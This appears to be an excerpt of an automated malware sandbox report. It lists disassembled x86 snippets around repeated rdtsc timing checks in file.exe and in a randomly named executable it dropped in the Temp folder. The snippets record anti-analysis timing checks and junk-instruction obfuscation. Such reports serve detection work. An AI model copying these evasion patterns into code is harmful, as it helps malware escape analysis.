Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB07E6 second address: 4BB0821 instructions: 0x00000000 rdtsc 0x00000002 call 00007FAD1CCFA08Ah 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ebx 0x0000000c jmp 00007FAD1CCFA08Eh 0x00000011 mov dword ptr [esp], ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FAD1CCFA097h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0DE8 second address: 4BA0DFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop esi 0x0000000f push edx 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0DFA second address: 4BA0E00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0E00 second address: 4BA0E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0E04 second address: 4BA0E51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA092h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov cl, bl 0x0000000f push eax 0x00000010 push edx 0x00000011 pushfd 0x00000012 jmp 00007FAD1CCFA098h 0x00000017 jmp 00007FAD1CCFA095h 0x0000001c popfd 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0E51 second address: 4BA0EC6 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 4B797587h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FAD1D201C38h 0x00000012 jmp 00007FAD1D201C35h 0x00000017 popfd 0x00000018 mov edi, ecx 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FAD1D201C2Fh 0x00000026 adc ax, EE5Eh 0x0000002b jmp 00007FAD1D201C39h 0x00000030 popfd 0x00000031 mov ebx, esi 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0EC6 second address: 4BA0EE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov al, dl 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAD1CCFA08Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0EE1 second address: 4BA0EE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0EE7 second address: 4BA0F39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA093h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov dx, C0DAh 0x00000011 jmp 00007FAD1CCFA08Bh 0x00000016 popad 0x00000017 xchg eax, ecx 0x00000018 jmp 00007FAD1CCFA096h 0x0000001d mov dword ptr [ebp-04h], 55534552h 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 movsx edx, si 0x0000002a mov edx, ecx 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0CEC second address: 4BB0D90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FAD1D201C36h 0x0000000b sub si, A198h 0x00000010 jmp 00007FAD1D201C2Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b jmp 00007FAD1D201C2Fh 0x00000020 pushfd 0x00000021 jmp 00007FAD1D201C38h 0x00000026 sbb al, 00000028h 0x00000029 jmp 00007FAD1D201C2Bh 0x0000002e popfd 0x0000002f popad 0x00000030 xchg eax, ebp 0x00000031 jmp 00007FAD1D201C36h 0x00000036 mov ebp, esp 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b mov ax, di 0x0000003e call 00007FAD1D201C39h 0x00000043 pop ecx 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0E45 second address: 4BB0E4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0E4B second address: 4BB0E89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 6970069Bh 0x00000010 jmp 00007FAD1D201C30h 0x00000015 call 00007FAD8E0E691Eh 0x0000001a push 75A92B70h 0x0000001f push dword ptr fs:[00000000h] 0x00000026 mov eax, dword ptr [esp+10h] 0x0000002a mov dword ptr [esp+10h], ebp 0x0000002e lea ebp, dword ptr [esp+10h] 0x00000032 sub esp, eax 0x00000034 push ebx 0x00000035 push esi 0x00000036 push edi 0x00000037 mov eax, dword ptr [75AF4538h] 0x0000003c xor dword ptr [ebp-04h], eax 0x0000003f xor eax, ebp 0x00000041 push eax 0x00000042 mov dword ptr [ebp-18h], esp 0x00000045 push dword ptr [ebp-08h] 0x00000048 mov eax, dword ptr [ebp-04h] 0x0000004b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000052 mov dword ptr [ebp-08h], eax 0x00000055 lea eax, dword ptr [ebp-10h] 0x00000058 mov dword ptr fs:[00000000h], eax 0x0000005e ret 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 push edx 0x00000063 pop esi 0x00000064 mov bx, F23Ch 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0E89 second address: 4BB0EAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA092h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FAD1CCFA08Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0EAF second address: 4BB0EC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-1Ch], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0EC7 second address: 4BB0EE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA097h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0EE2 second address: 4BB0EE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0EE8 second address: 4BB0EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0F2E second address: 4BB0F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD078B second address: 4BD07AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA099h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD07AF second address: 4BD07C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD07C9 second address: 4BD07FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA08Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007FAD1CCFA094h 0x00000010 mov eax, 0FEED951h 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD07FC second address: 4BD0800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0800 second address: 4BD0806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0806 second address: 4BD0829 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAD1D201C2Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0829 second address: 4BD082F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD082F second address: 4BD086A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 5A01C323h 0x00000008 pushfd 0x00000009 jmp 00007FAD1D201C38h 0x0000000e xor esi, 4E0D4A68h 0x00000014 jmp 00007FAD1D201C2Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD086A second address: 4BD08AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA08Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FAD1CCFA090h 0x0000000f mov esi, dword ptr [ebp+0Ch] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FAD1CCFA08Dh 0x0000001b jmp 00007FAD1CCFA08Bh 0x00000020 popfd 0x00000021 mov edx, eax 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD08AC second address: 4BD08FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAD1D201C2Bh 0x00000009 adc ecx, 5406286Eh 0x0000000f jmp 00007FAD1D201C39h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 test esi, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FAD1D201C38h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD08FA second address: 4BD0949 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAD1CCFA091h 0x00000009 add eax, 13983A06h 0x0000000f jmp 00007FAD1CCFA091h 0x00000014 popfd 0x00000015 push esi 0x00000016 pop edi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a je 00007FAD8DBB7B11h 0x00000020 jmp 00007FAD1CCFA08Ah 0x00000025 cmp dword ptr [75AF459Ch], 05h 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov ch, 43h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0949 second address: 4BD0989 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 07h 0x00000005 mov dl, DDh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FAD8E0D776Ah 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FAD1D201C32h 0x00000017 or si, B638h 0x0000001c jmp 00007FAD1D201C2Bh 0x00000021 popfd 0x00000022 mov dx, ax 0x00000025 popad 0x00000026 xchg eax, esi 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0989 second address: 4BD098F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD09DD second address: 4BD09E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD09E1 second address: 4BD09E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD09E7 second address: 4BD0A37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b push eax 0x0000000c mov dx, FCA0h 0x00000010 pop edx 0x00000011 pushfd 0x00000012 jmp 00007FAD1D201C36h 0x00000017 jmp 00007FAD1D201C35h 0x0000001c popfd 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov dx, cx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0A67 second address: 4BD0A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FAD1CCFA091h 0x0000000a popad 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAD1CCFA08Dh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: DBEB4D second address: DBEB53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F38BF4 second address: F38C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jl 00007FAD1CCFA08Ch 0x0000000b jng 00007FAD1CCFA086h 0x00000011 jp 00007FAD1CCFA09Eh 0x00000017 popad 0x00000018 pushad 0x00000019 push edx 0x0000001a jmp 00007FAD1CCFA093h 0x0000001f jmp 00007FAD1CCFA08Fh 0x00000024 pop edx 0x00000025 jnc 00007FAD1CCFA093h 0x0000002b push edi 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F38C5F second address: F38C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F30F8C second address: F30F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F30F92 second address: F30FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FAD1D201C38h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F37DF9 second address: F37E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 push edi 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F380A4 second address: F380AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F380AA second address: F380B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F380B0 second address: F380BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C2Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F380BE second address: F380D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAD1CCFA091h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F380D9 second address: F380DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F380DD second address: F380E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F3823C second address: F3824A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F38378 second address: F38395 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD1CCFA097h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F38395 second address: F3839B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F3839B second address: F383AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FAD1CCFA086h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F383AD second address: F383C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F3B329 second address: F3B35F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FAD1CCFA08Fh 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f jmp 00007FAD1CCFA090h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 je 00007FAD1CCFA090h 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F3B468 second address: F3B46C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F3B575 second address: F3B5D8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FAD1CCFA094h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jg 00007FAD1CCFA08Ch 0x00000015 mov eax, dword ptr [eax] 0x00000017 jnc 00007FAD1CCFA0A0h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FAD1CCFA091h 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F3B5D8 second address: F3B62B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a adc di, 5361h 0x0000000f lea ebx, dword ptr [ebp+12450197h] 0x00000015 call 00007FAD1D201C2Dh 0x0000001a sbb cx, 5A47h 0x0000001f pop edi 0x00000020 xchg eax, ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FAD1D201C39h 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F3B71F second address: F3B763 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 add dword ptr [esp], 39DA9B37h 0x0000000e jg 00007FAD1CCFA086h 0x00000014 push 00000003h 0x00000016 mov ecx, edi 0x00000018 push 00000000h 0x0000001a or dh, FFFFFFD6h 0x0000001d push 00000003h 0x0000001f mov dword ptr [ebp+122D3071h], ebx 0x00000025 call 00007FAD1CCFA089h 0x0000002a je 00007FAD1CCFA0ABh 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FAD1CCFA08Eh 0x00000037 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F3B763 second address: F3B7C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FAD1D201C39h 0x00000010 jns 00007FAD1D201C28h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d pushad 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 jbe 00007FAD1D201C26h 0x00000027 popad 0x00000028 jmp 00007FAD1D201C31h 0x0000002d popad 0x0000002e mov eax, dword ptr [eax] 0x00000030 push eax 0x00000031 push edx 0x00000032 ja 00007FAD1D201C28h 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F3B7C9 second address: F3B7D3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAD1CCFA08Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F3B7D3 second address: F3B80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jmp 00007FAD1D201C32h 0x0000000f pop eax 0x00000010 mov dword ptr [ebp+122D3527h], ebx 0x00000016 lea ebx, dword ptr [ebp+124501A2h] 0x0000001c mov esi, eax 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 jnc 00007FAD1D201C26h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F3B80B second address: F3B811 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F4C950 second address: F4C954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F5A6C6 second address: F5A708 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA08Ch 0x00000007 jmp 00007FAD1CCFA098h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAD1CCFA098h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F5A708 second address: F5A70C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F5AFAC second address: F5AFB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F5B353 second address: F5B36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b jl 00007FAD1D201C28h 0x00000011 pop eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F5B36B second address: F5B371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	RDTSC instruction interceptor: First address: F5B4BA second address: F5B4D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jp 00007FAD1D201C36h 0x0000000d rdtsc
